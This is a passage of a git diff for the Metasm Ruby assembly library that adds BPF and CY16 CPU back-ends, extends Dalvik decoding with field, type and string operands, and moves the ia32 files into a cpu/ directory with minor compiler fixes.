mode 100644 index 0000000000..35a55eb0b7 --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/opcodes.rb @@ -0,0 +1,81 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/bpf/main' + +module Metasm + +class BPF + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @valid_args[a] + o.props.update a if a.kind_of?(::Hash) + } + @opcode_list << o + end + + def addop_ldx(bin, src) + addop 'mov', bin | 0x00, :a, src + addop 'mov', bin | 0x01, :x, src + end + + def addop_ldsz(bin, src) + addop 'mov', bin | 0x00, :a, src, :msz => 4 + addop 'mov', bin | 0x08, :a, src, :msz => 2 + addop 'mov', bin | 0x10, :a, src, :msz => 1 + end + + def addop_alu(name, bin) + addop name, bin | 0x04, :a, :k + addop name, bin | 0x0C, :a, :x + end + + def addop_j(name, bin) + addop name, bin | 0x05 | 0x00, :a, :k, :jt, :jf, :setip => true, :stopexec => true + addop name, bin | 0x05 | 0x08, :a, :x, :jt, :jf, :setip => true, :stopexec => true + end + + def init_bpf + @opcode_list = [] + [:a, :k, :x, :len, :m_k, :p_k, :p_xk, :jt, :jf].each { |a| @valid_args[a] = true } + + # LD/ST + addop_ldx 0x00, :k + addop_ldsz 0x20, :p_k + addop_ldsz 0x40, :p_xk + addop_ldx 0x60, :m_k + addop_ldx 0x80, :len + addop 'msh', 0xB1, :x, :p_k, :msz => 1 + addop 'mov', 0x02, :m_k, :a + addop 'mov', 0x03, :m_k, :x + + # ALU + addop_alu 'add', 0x00 + addop_alu 'sub', 0x10 + addop_alu 'mul', 0x20 + addop_alu 'div', 0x30 + addop_alu 'or', 0x40 + addop_alu 'and', 0x50 + addop_alu 'shl', 0x60 + addop_alu 'shr', 0x70 + addop 'neg', 0x84, :a + + # JMP + addop 'jmp', 0x05, :k, :setip => true, :stopexec => true + addop_j 'je', 0x10 + addop_j 'jg', 0x20 + addop_j 'jge', 0x30 + addop_j 'jtest',0x40 + addop 'ret', 0x06, :k, :stopexec => true + addop 'ret', 0x16, :a, :stopexec => true + + addop 'mov', 0x07, :x, :a + addop 'mov', 0x87, :a, :x + end + + alias init_latest init_bpf +end +end diff --git a/lib/metasm/metasm/cpu/bpf/render.rb b/lib/metasm/metasm/cpu/bpf/render.rb new file mode 100644 index 0000000000..1b4a68a27a --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/render.rb @@ -0,0 +1,41 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/bpf/opcodes' +require 'metasm/render' + +module Metasm +class BPF + class Reg + include Renderable + def render ; [@v.to_s] end + end + class MemRef + include Renderable + def render + r = [] + r << memtype + r << [nil, ' byte ', ' word ', nil, ' dword '][@msz] + r << '[' + r << @base if @base + r << '+' if @base and @offset + r << @offset if @offset + r << ']' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end +end +end diff --git a/lib/metasm/metasm/ppc.rb b/lib/metasm/metasm/cpu/cy16.rb similarity index 63% rename from lib/metasm/metasm/ppc.rb rename to lib/metasm/metasm/cpu/cy16.rb index 13b218461a..bee7099f2e 100644 --- a/lib/metasm/metasm/ppc.rb +++ b/lib/metasm/metasm/cpu/cy16.rb @@ -5,7 +5,5 @@ require 'metasm/main' -require 'metasm/ppc/parse' -require 'metasm/ppc/encode' -require 'metasm/ppc/decode' -require 'metasm/ppc/decompile' +require 'metasm/cpu/cy16/decode' +require 'metasm/cpu/cy16/render' diff --git a/lib/metasm/metasm/cpu/cy16/decode.rb b/lib/metasm/metasm/cpu/cy16/decode.rb new file mode 100644 index 0000000000..c3bc9a5812 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/decode.rb @@ -0,0 +1,253 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/cy16/opcodes' +require 'metasm/decode' + +module Metasm +class CY16 + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = 0 + op.fields.each { |f, off| + op.bin_mask |= (@fields_mask[f] << off) + } + op.bin_mask ^= 0xffff + end + + def build_bin_lookaside + # sets up a hash byte value => list of opcodes that may match + # opcode.bin_mask is built here + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = (op.bin >> 8) & 0xff + msk = (op.bin_mask >> 8) & 0xff + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_findopcode(edata) + di = DecodedInstruction.new self + return if edata.ptr+2 > edata.length + bin = edata.decode_imm(:u16, @endianness) + edata.ptr -= 2 + return di if di.opcode = @bin_lookaside[(bin >> 8) & 0xff].find { |op| + bin & op.bin_mask == op.bin & op.bin_mask + } + end + + + def decode_instr_op_r(val, edata) + bw = ((val & 0b1000) > 0 ? 1 : 2) + case val & 0b11_0000 + when 0b00_0000 + Reg.new(val) + when 0b01_0000 + if val == 0b01_1111 + Expression[edata.decode_imm(:u16, @endianness)] + else + Memref.new(Reg.new(8+(val&7)), nil, bw) + end + when 0b10_0000 + if val & 7 == 7 + Memref.new(nil, edata.decode_imm(:u16, @endianness), bw) + else + Memref.new(Reg.new(8+(val&7)), nil, bw, true) + end + when 0b11_0000 + Memref.new(Reg.new(8+(val&7)), edata.decode_imm(:u16, @endianness), bw) + end + + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + bin = edata.decode_imm(:u16, @endianness) + + field_val = lambda { |f| + if off = op.fields[f] + (bin >> off) & @fields_mask[f] + end + } + + op.args.each { |a| + di.instruction.args << case a + when :rs, :rd; decode_instr_op_r(field_val[a], edata) + when :o7; Expression[2*Expression.make_signed(field_val[a], 7)] + when :x7; Expression[field_val[a]] + when :u3; Expression[field_val[a]+1] + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.instruction.args.reverse! + + di.bin_length += edata.ptr - before_ptr + + di + rescue InvalidRD + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.opcode.args.last == :o7 + delta = di.instruction.args.last.reduce + arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + mask = 0xffff + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or', 'addi', 'subi' + lambda { |di, a0, a1| + e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, + 'xor' => :^, 'or' => :|, 'addi' => :+, 'subi' => :- }[op] + ret = Expression[a0, e_op, a1] + ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbb' + # optimises eax ^ eax => 0 + # avoid hiding memory accesses (to not hide possible fault) + ret = Expression[ret.reduce] if not a0.kind_of? Indirection + { a0 => ret } + } + when 'cmp', 'test'; lambda { |di, *a| {} } + when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } + when 'call' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[di.next_addr] } + } + when 'ret'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } + # TODO callCC, retCC ... + when /^j/; lambda { |di, *a| {} } + end + + # TODO flags ? + + @backtrace_binding[op] ||= binding if binding + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Memref, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + bd = {} + di.instruction.args.each { |aa| bd[aa.base.symbolic] = Expression[aa.base.symbolic, :+, aa.sz] if aa.kind_of?(Memref) and aa.autoincr } + bd.update binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + end + + # patch a forward binding from the backtrace binding + def fix_fwdemu_binding(di, fbd) + case di.opcode.name + when 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) + end + fbd + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + return [Indirection[:sp, 2, di.address]] if di.opcode.name =~ /^r/ + + case tg = di.instruction.args.first + when Memref; [Expression[tg.symbolic(di)]] + when Reg; [Expression[tg.symbolic(di)]] + when Expression, ::Integer; [Expression[tg]] + else + puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG + [] + end + end + + # checks if expr is a valid return expression matching the :saveip instruction + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + # returns true if the expression is an address on the stack + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include?(:sp) + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/cy16/main.rb b/lib/metasm/metasm/cpu/cy16/main.rb new file mode 100644 index 0000000000..704bda76c5 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/main.rb @@ -0,0 +1,63 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class CY16 < CPU + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" } + @i_to_s[15] = 'sp' + @s_to_i = @i_to_s.invert + + attr_accessor :i + def initialize(i) + @i = i + end + + def symbolic(orig=nil) ; to_s.to_sym ; end + + def self.from_str(s) + raise "Bad name #{s.inspect}" if not x = @s_to_i[s] + new(x) + end + end + + class Memref + attr_accessor :base, :offset, :sz, :autoincr + def initialize(base, offset, sz=nil, autoincr=nil) + @base = base + offset = Expression[offset] if offset + @offset = offset + @sz = sz + @autoincr = autoincr + end + + def symbolic(orig) + p = nil + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p.reduce, @sz, orig] + end + end + + def initialize(family = :latest) + super() + @endianness = :little + @size = 16 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/cy16/opcodes.rb b/lib/metasm/metasm/cpu/cy16/opcodes.rb new file mode 100644 index 0000000000..1fb20e4953 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/opcodes.rb @@ -0,0 +1,78 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/cy16/main' + +module Metasm + +class CY16 + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @fields_mask[a] or @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = @fields_shift[a] if @fields_mask[a] + raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] + } + @opcode_list << o + end + + def addop_macrocc(name, bin, *args) + %w[z nz b ae s ns o no a be g ge l le].each_with_index { |cc, i| + dbin = bin + dbin |= i << 8 + addop name + cc, dbin, *args + } + end + + def init_cy16 + @opcode_list = [] + @valid_args.update [:rs, :rd, :o7 + ].inject({}) { |h, v| h.update v => true } + @fields_mask.update :rs => 0x3f, :rd => 0x3f, :o7 => 0x7f, :x7 => 0x7f, :u3 => 7 + @fields_shift.update :rs => 6, :rd => 0, :o7 => 0, :x7 => 0, :u3 => 6 + + addop 'mov', 0<<12, :rs, :rd + addop 'add', 1<<12, :rs, :rd + addop 'adc', 2<<12, :rs, :rd + addop 'addc',2<<12, :rs, :rd + addop 'sub', 3<<12, :rs, :rd + addop 'sbb', 4<<12, :rs, :rd + addop 'subb',4<<12, :rs, :rd + addop 'cmp', 5<<12, :rs, :rd + addop 'and', 6<<12, :rs, :rd + addop 'test',7<<12, :rs, :rd + addop 'or', 8<<12, :rs, :rd + addop 'xor', 9<<12, :rs, :rd + + addop_macrocc 'int', (10<<12), :x7 + addop 'int', (10<<12) | (15<<8), :x7 + addop_macrocc 'c', (10<<12) | (1<<7), :setip, :saveip, :rd + addop 'call',(10<<12) | (15<<8) | (1<<7), :setip, :stopexec, :saveip, :rd + addop_macrocc 'r', (12<<12) | (1<<7) | 0b010111, :setip # must come before absolute jmp + addop 'ret', (12<<12) | (15<<8) | (1<<7) | 0b010111, :setip, :stopexec + addop_macrocc 'j', (12<<12), :setip, :o7 # relative + addop 'jmp', (12<<12) | (15<<8), :setip, :stopexec, :o7 # relative + addop_macrocc 'j', (12<<12) | (1<<7), :setip, :rd # absolute + addop 'jmp', (12<<12) | (15<<8) | (1<<7), :setip, :stopexec, :rd # absolute + + addop 'shr', (13<<12) | (0<<9), :u3, :rd + addop 'shl', (13<<12) | (1<<9), :u3, :rd + addop 'ror', (13<<12) | (2<<9), :u3, :rd + addop 'rol', (13<<12) | (3<<9), :u3, :rd + addop 'addi',(13<<12) | (4<<9), :u3, :rd + addop 'subi',(13<<12) | (5<<9), :u3, :rd + addop 'not', (13<<12) | (7<<9) | (0<<6), :rd + addop 'neg', (13<<12) | (7<<9) | (1<<6), :rd + addop 'cbw', (13<<12) | (7<<9) | (4<<6), :rd + addop 'sti', (13<<12) | (7<<9) | (7<<6) | 0 + addop 'cli', (13<<12) | (7<<9) | (7<<6) | 1 + addop 'stc', (13<<12) | (7<<9) | (7<<6) | 2 + addop 'clc', (13<<12) | (7<<9) | (7<<6) | 3 + end + + alias init_latest init_cy16 +end +end diff --git a/lib/metasm/metasm/cpu/cy16/render.rb b/lib/metasm/metasm/cpu/cy16/render.rb new file mode 100644 index 0000000000..2c2a680435 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/render.rb @@ -0,0 +1,41 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/cy16/opcodes' +require 'metasm/render' + +module Metasm +class CY16 + class Reg + include Renderable + def render ; [self.class.i_to_s[@i]] end + end + class Memref + include Renderable + def render + r = [] + r << (@sz == 1 ? 'byte ptr ' : 'word ptr ') + r << '[' + r << @base if @base + r << '++' if @autoincr + r << ' + ' if @base and @offset + r << @offset if @offset + r << ']' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end +end +end diff --git a/lib/metasm/metasm/cpu/dalvik.rb b/lib/metasm/metasm/cpu/dalvik.rb new file mode 100644 index 0000000000..e4c7b4eb61 --- /dev/null +++ b/lib/metasm/metasm/cpu/dalvik.rb @@ -0,0 +1,11 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +class Metasm::Dalvik < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/dalvik/decode' diff --git a/lib/metasm/metasm/dalvik/decode.rb b/lib/metasm/metasm/cpu/dalvik/decode.rb similarity index 82% rename from lib/metasm/metasm/dalvik/decode.rb rename to lib/metasm/metasm/cpu/dalvik/decode.rb index 1b64eb0789..a52257b797 100644 --- a/lib/metasm/metasm/dalvik/decode.rb +++ b/lib/metasm/metasm/cpu/dalvik/decode.rb @@ -3,7 +3,7 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/dalvik/opcodes' +require 'metasm/cpu/dalvik/opcodes' require 'metasm/decode' module Metasm @@ -12,7 +12,7 @@ class Dalvik end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length + return if edata.ptr+2 > edata.length di = DecodedInstruction.new(self) di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff] edata.ptr -= 2 @@ -22,7 +22,7 @@ class Dalvik def decode_instr_op(edata, di) op = di.opcode di.instruction.opname = op.name - + val = [edata.decode_imm(:u16, @endianness)] op.args.each { |a| @@ -80,7 +80,7 @@ class Dalvik Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)] when :rlist4, :rlist5 cnt = (val[0] >> 12) & 0xf - val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) [cnt, 4].min.times { di.instruction.args << Reg.new(val[-1] & 0xf) val[-1] >>= 4 @@ -96,20 +96,40 @@ class Dalvik next when :m16 val << edata.decode_imm(:u16, @endianness) - Method.new(@dex, val.last) + DexMethod.new(@dex, val.last) + when :fld16 + val << edata.decode_imm(:u16, @endianness) + DexField.new(@dex, val.last) + when :typ16 + val << edata.decode_imm(:u16, @endianness) + DexType.new(@dex, val.last) + when :str16 + val << edata.decode_imm(:u16, @endianness) + DexString.new(@dex, val.last) else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" end } di.bin_length = val.length*2 + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname =~ /^if|^goto/ + arg = Expression[addr, :+, [di.instruction.args.last, :*, 2]].reduce + di.instruction.args[-1] = Expression[arg] + end + di end def backtrace_binding @backtrace_binding ||= init_backtrace_binding end - + def init_backtrace_binding @backtrace_binding ||= {} sz = @size/8 @@ -117,12 +137,12 @@ class Dalvik case op.name when /invoke/ @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :-, sz], + :callstack => Expression[:callstack, :-, sz], Indirection[:callstack, sz] => Expression[di.next_addr] } } when /return/ @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :+, sz] + :callstack => Expression[:callstack, :+, sz] } } end } @@ -136,9 +156,9 @@ class Dalvik else arg end } - + if binding = backtrace_binding[di.opcode.name] - bd = binding[di, *a] + binding[di, *a] else puts "unhandled instruction to backtrace: #{di}" if $VERBOSE # assume nothing except the 1st arg is modified @@ -150,20 +170,22 @@ class Dalvik end end - + def get_xrefs_x(dasm, di) if di.opcode.props[:saveip] m = di.instruction.args.first - if m.kind_of? Method and m.off + if m.kind_of?(DexMethod) and m.off [m.off] else [:default] end elsif di.opcode.props[:setip] - if di.opcode.name =~ /return/ + if di.opcode.name =~ /^return/ [Indirection[:callstack, @size/8]] + elsif di.opcode.name =~ /^if|^goto/ + [di.instruction.args.last] else - [] # [di.instruction.args.last] + [] # [di.instruction.args.last] end else [] diff --git a/lib/metasm/metasm/dalvik/main.rb b/lib/metasm/metasm/cpu/dalvik/main.rb similarity index 58% rename from lib/metasm/metasm/dalvik/main.rb rename to lib/metasm/metasm/cpu/dalvik/main.rb index b0a0884ffc..264192cfb4 100644 --- a/lib/metasm/metasm/dalvik/main.rb +++ b/lib/metasm/metasm/cpu/dalvik/main.rb @@ -23,13 +23,14 @@ class Dalvik < CPU end end - class Method + class DexMethod attr_accessor :dex, :midx, :off def initialize(dex, midx) @dex = dex @midx = midx if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and - me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m } + me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.methodid == midx } + # FIXME this doesnt work @off = me.codeoff + me.code.insns_off end end @@ -44,6 +45,54 @@ class Dalvik < CPU end end + class DexField + attr_accessor :dex, :fidx + def initialize(dex, fidx) + @dex = dex + @fidx = fidx + end + + def to_s + if @dex and f = @dex.fields[@fidx] + @dex.types[f.classidx] + '->' + @dex.strings[f.nameidx] + else + "field_#@fidx" + end + end + end + + class DexType + attr_accessor :dex, :tidx + def initialize(dex, tidx) + @dex = dex + @tidx = tidx + end + + def to_s + if @dex and f = @dex.types[@tidx] + f + else + "type_#@tidx" + end + end + end + + class DexString + attr_accessor :dex, :sidx + def initialize(dex, sidx) + @dex = dex + @sidx = sidx + end + + def to_s + if @dex and f = @dex.strings[@sidx] + f.inspect + else + "string_#@sidx" + end + end + end + def initialize(*args) super() @size = args.grep(Integer).first || 32 diff --git a/lib/metasm/metasm/dalvik/opcodes.rb b/lib/metasm/metasm/cpu/dalvik/opcodes.rb similarity index 95% rename from lib/metasm/metasm/dalvik/opcodes.rb rename to lib/metasm/metasm/cpu/dalvik/opcodes.rb index 48b858eec4..bef8d243bd 100644 --- a/lib/metasm/metasm/dalvik/opcodes.rb +++ b/lib/metasm/metasm/cpu/dalvik/opcodes.rb @@ -11,7 +11,7 @@ # the opcode number is in the low-order byte, and determines the # argument format, which may take up to 4 other words -require 'metasm/dalvik/main' +require 'metasm/cpu/dalvik/main' module Metasm class Dalvik @@ -61,9 +61,11 @@ invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_ unused_fc unused_fd unused_fe unused_ff] def init_dalvik - @valid_props << :canthrow - @valid_args = [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, - :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, :m16] + @valid_props[:canthrow] = true + [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, + :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, + :m16, :fld16, :typ16, :str16 + ].each { |a| @valid_args[a] = true } @opcode_list = [] OPCODES.each_with_index { |n, b| @@ -80,7 +82,7 @@ unused_fc unused_fd unused_fe unused_ff] def addop_args(op) fmt = case op.name when 'goto' - :fmt10t + :fmt10t when 'nop', 'return_void' :fmt10x when 'const_4' @@ -119,12 +121,16 @@ unused_fc unused_fd unused_fe unused_ff] :fmt20t when 'goto_32' :fmt30t - when 'const_string', 'const_class', 'check_cast', - 'new_instance', 'sget', 'sget_wide', 'sget_object', + when 'const_string' + :fmt21c_str + when 'const_class', 'check_cast', + 'new_instance' + :fmt21c_typ + when 'sget', 'sget_wide', 'sget_object', 'sget_boolean', 'sget_byte', 'sget_char', 'sget_short', 'sput', 'sput_wide', 'sput_object', 'sput_boolean', 'sput_byte', 'sput_char', 'sput_short' - :fmt21c + :fmt21c_fld when 'const_16', 'const_wide_16' :fmt21s when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez' @@ -214,7 +220,9 @@ unused_fc unused_fd unused_fe unused_ff] when :fmt10t; op.args << :iaa when :fmt20t; op.args << :i16 when :fmt20bc; op.args << :iaa << :u16 - when :fmt21c; op.args << :raa << :u16 + when :fmt21c_str; op.args << :raa << :str16 + when :fmt21c_typ; op.args << :raa << :typ16 + when :fmt21c_fld; op.args << :raa << :fld16 when :fmt22x; op.args << :raa << :r16 when :fmt21s, :fmt21t; op.args << :raa << :i16 when :fmt21h; op.args << :raa << :i16_32hi @@ -222,7 +230,7 @@ unused_fc unused_fd unused_fe unused_ff] when :fmt23x; op.args << :raa << :rbb << :rcc when :fmt22b; op.args << :raa << :rbb << :icc when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16 - when :fmt22c, :fmt22cs; op.args << :ra << :rb << :u16 + when :fmt22c, :fmt22cs; op.args << :ra << :rb << :fld16 when :fmt30t; op.args << :i32 when :fmt31t, :fmt31c; op.args << :raa << :u32 when :fmt32x; op.args << :r16 << :r16 @@ -238,7 +246,7 @@ unused_fc unused_fd unused_fe unused_ff] when :fmt3inline op.args << :r16 << :rlist4 when :fmt3rc, :fmt3rms - # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 + # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 op.args << :r16 << :rlist16 when :fmt51l # u64 = u16 | (u16 << 16) | ... diff --git a/lib/metasm/metasm/cpu/ia32.rb b/lib/metasm/metasm/cpu/ia32.rb new file mode 100644 index 0000000000..4bc42a2845 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32.rb @@ -0,0 +1,17 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +# fix autorequire warning +class Metasm::Ia32 < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/ia32/parse' +require 'metasm/cpu/ia32/encode' +require 'metasm/cpu/ia32/decode' +require 'metasm/cpu/ia32/render' +require 'metasm/cpu/ia32/compile_c' +require 'metasm/cpu/ia32/decompile' +require 'metasm/cpu/ia32/debug' diff --git a/lib/metasm/metasm/ia32/compile_c.rb b/lib/metasm/metasm/cpu/ia32/compile_c.rb similarity index 98% rename from lib/metasm/metasm/ia32/compile_c.rb rename to lib/metasm/metasm/cpu/ia32/compile_c.rb index 0d0d153aaf..dc7a6aaad9 100644 --- a/lib/metasm/metasm/ia32/compile_c.rb +++ b/lib/metasm/metasm/cpu/ia32/compile_c.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/parse' +require 'metasm/cpu/ia32/parse' require 'metasm/compile_c' module Metasm @@ -505,8 +505,8 @@ class CCompiler < C::Compiler if r.sz == 64 get_composite_parts(r).reverse_each { |rp| instr 'push', rp } else - instr 'push', r - end + instr 'push', r + end end when Composite instr 'push', r.high @@ -527,7 +527,7 @@ class CCompiler < C::Compiler if expr.rexpr.type.specifier == :unsigned and r.sz == 64 label = new_label('unsign_float') if m.sz == 64 and @cpusz < 64 - foo, m = get_composite_parts m + m = get_composite_parts(m)[1] end m2 = m m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM @@ -637,7 +637,7 @@ class CCompiler < C::Compiler # both sides are already cast to the same type by the precompiler # XXX expr.type.pointer? if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and - typesize[expr.lexpr.type.name] == typesize[:ptr] + typesize[expr.lexpr.type.name] == typesize[:ptr] expr.lexpr.type.name = :ptr end l = c_cexpr_inner(expr.lexpr) @@ -711,6 +711,7 @@ class CCompiler < C::Compiler end when :- r = c_cexpr_inner(expr.rexpr) + r = resolve_address r if r.kind_of? Address if r.kind_of? Expression unuse l, r l = Address.new(l.modrm.dup) @@ -1077,6 +1078,7 @@ class CCompiler < C::Compiler when 'add', 'sub', 'and', 'or', 'xor' r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM unuse r + r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [eax], bl instr op, l, r when 'shr', 'sar', 'shl' if r.kind_of? Expression @@ -1249,7 +1251,7 @@ class CCompiler < C::Compiler instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 unuse ecx - unuse r + unuse r end when 'mul' # high = (low1*high2) + (high1*low2) + (low1*low2).high @@ -1377,7 +1379,7 @@ class CCompiler < C::Compiler instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0 end when Reg - instr 'mov', Reg.new(0, r.sz), r if r.val != 0 + instr 'mov', Reg.new(0, r.sz), r if r.val != 0 when FpReg instr 'fld', FpReg.new(r.val) if r.val and r.val != 0 end @@ -1475,17 +1477,17 @@ class CCompiler < C::Compiler end f = @state.func if f.has_attribute('stdcall') or f.has_attribute('fastcall') - al = typesize[:ptr] + al = typesize[:ptr] fa = f.type.args.dup 2.times { fa.shift } if f.has_attribute('fastcall') argsz = fa.inject(0) { |sum, a| (a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al } if argsz > 0 - instr 'ret', Expression[argsz] - else - instr 'ret' - end + instr 'ret', Expression[argsz] + else + instr 'ret' + end else instr 'ret' end @@ -1509,10 +1511,6 @@ class CCompiler < C::Compiler #File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser } #File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source } end - - def check_reserved_name(var) - Reg.s_to_i[var.name] - end end def new_ccompiler(parser, exe=ExeFormat.new) diff --git a/lib/metasm/metasm/ia32/debug.rb b/lib/metasm/metasm/cpu/ia32/debug.rb similarity index 95% rename from lib/metasm/metasm/ia32/debug.rb rename to 